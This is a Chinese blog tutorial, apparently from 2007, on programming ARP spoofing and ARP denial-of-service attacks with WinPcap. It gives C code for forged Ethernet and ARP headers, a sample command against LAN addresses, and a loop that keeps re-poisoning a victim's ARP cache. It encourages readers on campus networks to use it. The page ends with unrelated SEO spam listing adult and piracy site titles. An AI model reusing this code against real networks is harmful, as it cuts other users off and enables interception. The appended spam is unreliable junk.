<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    隨筆-17  評論-64  文章-79  trackbacks-1
    關于討論ARP哄騙的文章,黑防在第8期的《小窺ARP協議》和第9期《ARP SPOOF DoS攻防詳談》均有介紹,不過,俗話說,授人魚,不如授人以漁,更多的讀者也許期待的是如何將其原理和編程實現結合。本文的著筆點正是出于這樣的目的,更是對上述兩篇文章的一個補充,希望能給讀者們真正理解ARP攻擊的實質,同時,也給部分想學習而又害怕學習WinPcap的讀者一些“師傅領進門”的感受。
    【以下測試環境為WinXPsp1 + VC6.0sp6 + WinPcap3.14beta,其中,必須安裝WinPcap3.0以上版本的驅動?!?br />首先,我們通過例子來回顧一下ARP哄騙和攻擊的原理吧。先來做個實驗,先打開一個cmd窗口,輸入arp –a,該命令表示通過詢問當前協議數據來查看本機ARP緩存保存的入口地址。

    ?

    上面表示作者本人的主機IP為192.168.3.155,現在ARP緩存里只有兩條IP為192.168.3.253和192.168.3.254的ARP緩存記錄,很顯然,兩IP是作者主機所在局域網的網關(嘿嘿,校園網和ADSL),它的MAC地址為**-**-18-23-b8-10和**-**-4c-78-22-22,類型為dynamic,即動態緩存。
    然后,ping同一局域網內的另一IP為192.168.3.162的主機,再次輸入arp –a,得到結果。
    看到,雖然PING不通,但ARP緩存卻刷新了,添加了192.168.3.162這一項記錄,并顯示其MAC地址為**-**-ab-31-5c-3c,類型也是dynamic,顯然,對方開了防火墻并設置了禁止內發的PING包,但是仍然暴露了該主機是活動主機的事實,而且對方的ARP緩存因此而刷新。

    好了,到現在,我們可以把目標定為,偽造192.168.3.155的MAC地址為11-22-33-44-55-66,以達到哄騙的目的。我們以此為基點,先進入編碼的部分。因為整個ARP Spoof&Dos都在交換環境的局域網內,涉及到的都是MAC層的通信,所以定義以太網首部和ARP首部就成為必要的了,這樣我們才可以構造偽數據包,如下:
    typedef struct ehhdr
    {
    unsigned char eh_dst[6]; /* 目標以太網地址*/
    unsigned char eh_src[6]; /* 源以太網地址 */
    unsigned short eh_type; /* 以太網包類型 */
    }EHHDR, *PEHHDR;


    typedef struct arphdr
    {
    unsigned short arp_hrd; /* 硬件地址格式 */
    unsigned short arp_pro; /* 協議地址格式 */
    unsigned char arp_hln; /* 硬件地址長度 */
    unsigned char arp_pln; /* 協議地址長度 */
    unsigned short arp_op; /* ARP/RARP 操作 */

    unsigned char arp_sha[6]; /* 源發送者硬件地址 */
    unsigned long arp_spa; /* 源發送者協議地址 */
    unsigned char arp_tha[6]; /* 目標硬件地址 */
    unsigned long arp_tpa; /* 目標協議地址 */
    }ARPHDR, *PARPHDR;
    每個字段在注釋里講的很詳細了,如果有疑問,可以查閱TCP/IP相關書籍。下一步,筆者的Spoof實現需要輸入2個IP地址外加一個可選的網卡地址,所以就涉及到解析輸入的主機名或IP的實現,這個相信很多寫過網絡程序的讀者都不陌生,如下:
    DWORD ResolveAddr(const char* host)
    {
    PHOSTENT hp;
    DWORD host_ip;
    host_ip = inet_addr(host); /* 轉換成網絡地址 */
    /* 如果是主機名或域名,非點分10進制IP */
    if (host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if ( hp == NULL)
    {
    printf("\nError: could not resolv hostname %s\n", host);
    exit(1);
    }
    else
    host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 轉換成32位網絡地址 */
    }

    return host_ip;
    }
    然后,需要定義一個GetInterface()函數,顧名思義,就是獲得本地主機網絡接口的意思,因為基于WinPcap的幾乎所有應用程序都需要選擇合適的網卡適配器。(很多剛接觸WinPcap的讀者可能會感到很惶恐,好像WinPcap所用的API函數讓很多Windows程序員一下子接收不了,其實很正常,用的多了,看的多了,慢慢的,我相信讀者門會越來越喜歡強大的WinPcap的)GetInterface()定義如下:
    pcap_t* GetInterface()
    {
    pcap_t *fp;
    char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
    int i, inum;
    pcap_if_t *alldevs, *d;
    /*取得設備列表*/
    if(pcap_findalldevs(&alldevs, errbuf) < 0) {
    fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
    exit(1);
    }
    /* 打印設備列表*/
    i = 0;
    printf("\n\nInterfaces list:\n\n");
    for(d = alldevs; d; d = d->next) {
    printf("%d. %s", ++i, d->name);
    if(d->description) printf(" (%s)\n", d->description);
    else printf(" (No description available)\n");
    }
    if(i == 0) {
    printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
    pcap_freealldevs(alldevs);
    exit(1);
    }
    if(i > 1) {
    printf("\n\nEnter the interface number (1 - %d): ",i);
    scanf("%d", &inum);
    if(inum < 1 || inum > i) {
    printf("\nInterface number out of range.\n");
    pcap_freealldevs(alldevs);
    exit(1);
    }
    } else inum = 1;

    /* 跳到被選擇的網卡適配器接口 */
    inum--;
    for(d = alldevs, i = 0; i < inum; d = d->next, i++);
    fprintf(stderr, "\n\nAdapter used: %s\n\n", d->name);
    /* 從網絡上打開活動的捕獲行為,返回一個pcap_t類型描述符 */
    fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
    if(fp == NULL) {
    printf("\nError: %s\n", errbuf);
    pcap_freealldevs(alldevs);
    exit(1);
    }
    /* 釋放pcap_findalldevs()打開的接口列表*/
    pcap_freealldevs(alldevs);

    return(fp);
    }
    上面的注釋已經比較清楚了,所有的涉及到的WinPcap的結構體和API函數,以及基于WinPcap程序的編譯方法,大家都可以到http://winpcap.polito.it/在線查詢或把文檔下載后本機查詢,或者到論壇詢問。在我的代碼里,我假設如果用戶輸入可選的偽MAC地址,則使用這個自定義的偽MAC地址,如果不輸入,則使用隨機產生的偽MAC地址,代碼部分如下:
    if (!argv[3])
    {
    sprintf((char*)mac, "%c%c%c%c%c%c",
    rand(), rand(), rand(), rand(), rand(), rand());
    }
    else
    {
    for(i=0; i<ETHERLEN; i++)
    {
    sscanf(argv[3], "%02X", &tmp);
    mac[i] = tmp;
    argv[3] += 3;
    }
    }
    為了得到由系統時鐘產生的隨機數,必須在頭文件里加入 #include <time.h>,在程序里加入srand(time(NULL));
    WSAStartup(MAKEWORD(2, 2), &wsaData); /*初始化win sock庫*/
    ip_add = ResolveAddr(argv[1]);
    ip_dst = ResolveAddr(argv[2]);
    WSACleanup(); /* 用完了,記住釋放哦 */
    為了使用winsock2頭文件,要指定#pragma comment(lib, "ws2_32.lib")來包含ws2_32.lib庫文件。下面就到了自定義構造以太頭和ARP頭了,這就是我們偽造MAC的加工廠:
    memcpy(ether->eh_dst, DEST, ETHERLEN);
    memcpy(ether->eh_src, mac, ETHERLEN);
    ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
    arphdr->arp_hrd = htons(ARPHRD_ETHER);
    arphdr->arp_pro = htons(ETHERTYPE_IP);
    arphdr->arp_hln = ETHERLEN;
    arphdr->arp_pln = PROTOLEN;
    arphdr->arp_op = htons(ARPOP_REQUEST); /* 請求服務 */
    memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 偽源MAC地址 */
    arphdr->arp_spa = ip_add; /* 偽源ARP 協議地址*/
    memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 偽目標MAC地址 */
    arphdr->arp_tpa = ip_dst; /* 偽目標ARP協議地址 */
    這里所有的宏都可以在我提供的arp.h頭文件里得到對應的定義。每一項都很清晰,主要是構造最后的幾項(有注釋的行),那里是滋生罪惡的源頭。
    偽MAC包構造好了,最后剩下的就是發送偽數據包了,再次發揮WinPcap庫的發包函數,如下:
    pcap_sendpacket(fp, buff, sizeof(buff)) ;
    到這,可以長噓一口氣,大吼一聲“打完收工”,讓我們測試一下成果,看是否能達到我們最開始預定的目標。輸入 arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
    首先,提示輸入接口號,因為WinPcap庫必須選擇正確的網卡適配器接口,在筆者機子上,安裝了2個虛擬機,所以有4個接口,2號接口代表本系統網卡接口,所以選2(你的可能不同哦),回車后,發現右下腳馬上提示IP地址沖突…嘿嘿,我們來分析一下,arpspoof.exe是我們哄騙程序,192.168.3.155是筆者的IP地址,192.168.3.162是同一局域網內另一主機IP,就是把192.168.3.155地址的MAC地址11-22-33-44-55-66添加到192.168.3.162這臺主機的動態ARP緩存里,攻擊過后,192.168.3.162的ARP緩存。
    剛才我把自己的IP當做參數一導致了自己的IP沖突,那如果我想使192.168.3.162這臺機子產生IP沖突,就可以調換一下參數一和參數二的位置,即
    大家想想什么原理,呵呵,這里我就不多說了。如果想隱瞞作為攻擊者的IP,第2個參數可以改成網段內的任意其他的IP。這樣,我們發起一次攻擊,192.168.3.162的主機就產生一次IP沖突,但這樣肯定是不夠的,每隔一段時間,對方的ARP緩存就會刷新一次,所以,如果要進行一次ARP Dos攻擊的話,我們還必須不斷的給他們發,以保證對方ARP緩存始終是我們構造的偽MAC地址。實現很簡單,如下:
    while(1) {
    if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
    printf("\nError: problems for sending packet\n");
    exit(1);
    }
    printf(".");
    sleep(DELAY); /* 這里的#define DELAY (CLOCKS_PER_SEC >> 1) 即半秒 */
    }
    攻擊過程。
    點點就表示每隔半秒發送一次ARP包。結果是,在被DoS攻擊后,如果再次PING
    192.168.3.162,即使對方不開防火墻,也沒有禁止INNER PING,卻仍然PING不通,查看
    自己的ARP緩存,我們發現,對方的MAC地址編程了00-00-00-00-00-00,攻擊成功。
    小結:
    在了解了ARP Spoof&Dos攻擊的原理后,實現起來就不那么難了。大學校園網常常因為IP資源的嚴重不足而發生同學們互搶IP的現象,有懂一點ARP哄騙的學生就用網絡執法官等工具,而不懂的的就只有任人宰割,如果你還是那被宰割的一部分人中的一個,那么看完了本文的你,是不是也該做點什么了呢。(在光盤的源代碼文件里,只提供了一個源代碼文件arpspoof.cpp,它的作用是實現給目標IP添加ARP緩存,而arpdos.cpp我沒有提供,防止有人做壞事,呵呵,如果你是真心抱著學習的態度,那么我相信看完

    posted on 2007-02-16 22:14 飛鳥 閱讀(785) 評論(1)  編輯  收藏 所屬分類: VC

    評論:
    # re: ARP Spoof&DoS攻擊編程實戰 2008-11-07 23:58 | Shore
    我這怎么地址沖突后還是照常能上網呢?沒達到效果  回復  更多評論
      
    主站蜘蛛池模板: 亚洲A∨精品一区二区三区下载 | 亚洲精品动漫在线| 一区二区视频免费观看| 欧洲美熟女乱又伦免费视频| 亚洲不卡在线观看| 免费视频专区一国产盗摄| 亚洲国产精品综合久久网各| 日韩免费a级毛片无码a∨| 中文字幕在线观看亚洲日韩| 天堂在线免费观看中文版| 在线观看亚洲视频| 亚洲国产91精品无码专区| 国产免费福利体检区久久| 亚洲中文字幕无码不卡电影 | a级毛片免费全部播放| 久久久综合亚洲色一区二区三区 | 亚洲日韩亚洲另类激情文学| 国产精品成人免费一区二区| 亚洲人成人伊人成综合网无码| 国产精品国产免费无码专区不卡 | 成人免费看片又大又黄| 国产AV无码专区亚洲AV蜜芽| 亚洲中文字幕无码爆乳av中文| 99免费精品视频| 亚洲色图视频在线观看| 四虎成人免费大片在线| 国产精品亚洲综合一区在线观看| 久久亚洲国产精品123区| 日本xxxx色视频在线观看免费| 亚洲不卡中文字幕| 婷婷综合缴情亚洲狠狠尤物| a级成人毛片免费图片| 亚洲AV无码专区在线亚| 亚洲精品在线视频| 99re在线这里只有精品免费| 亚洲色偷偷色噜噜狠狠99网| 中文字幕久久亚洲一区| 久久经典免费视频| ww在线观视频免费观看w| 亚洲国产韩国一区二区| 亚洲中文字幕无码爆乳av中文 |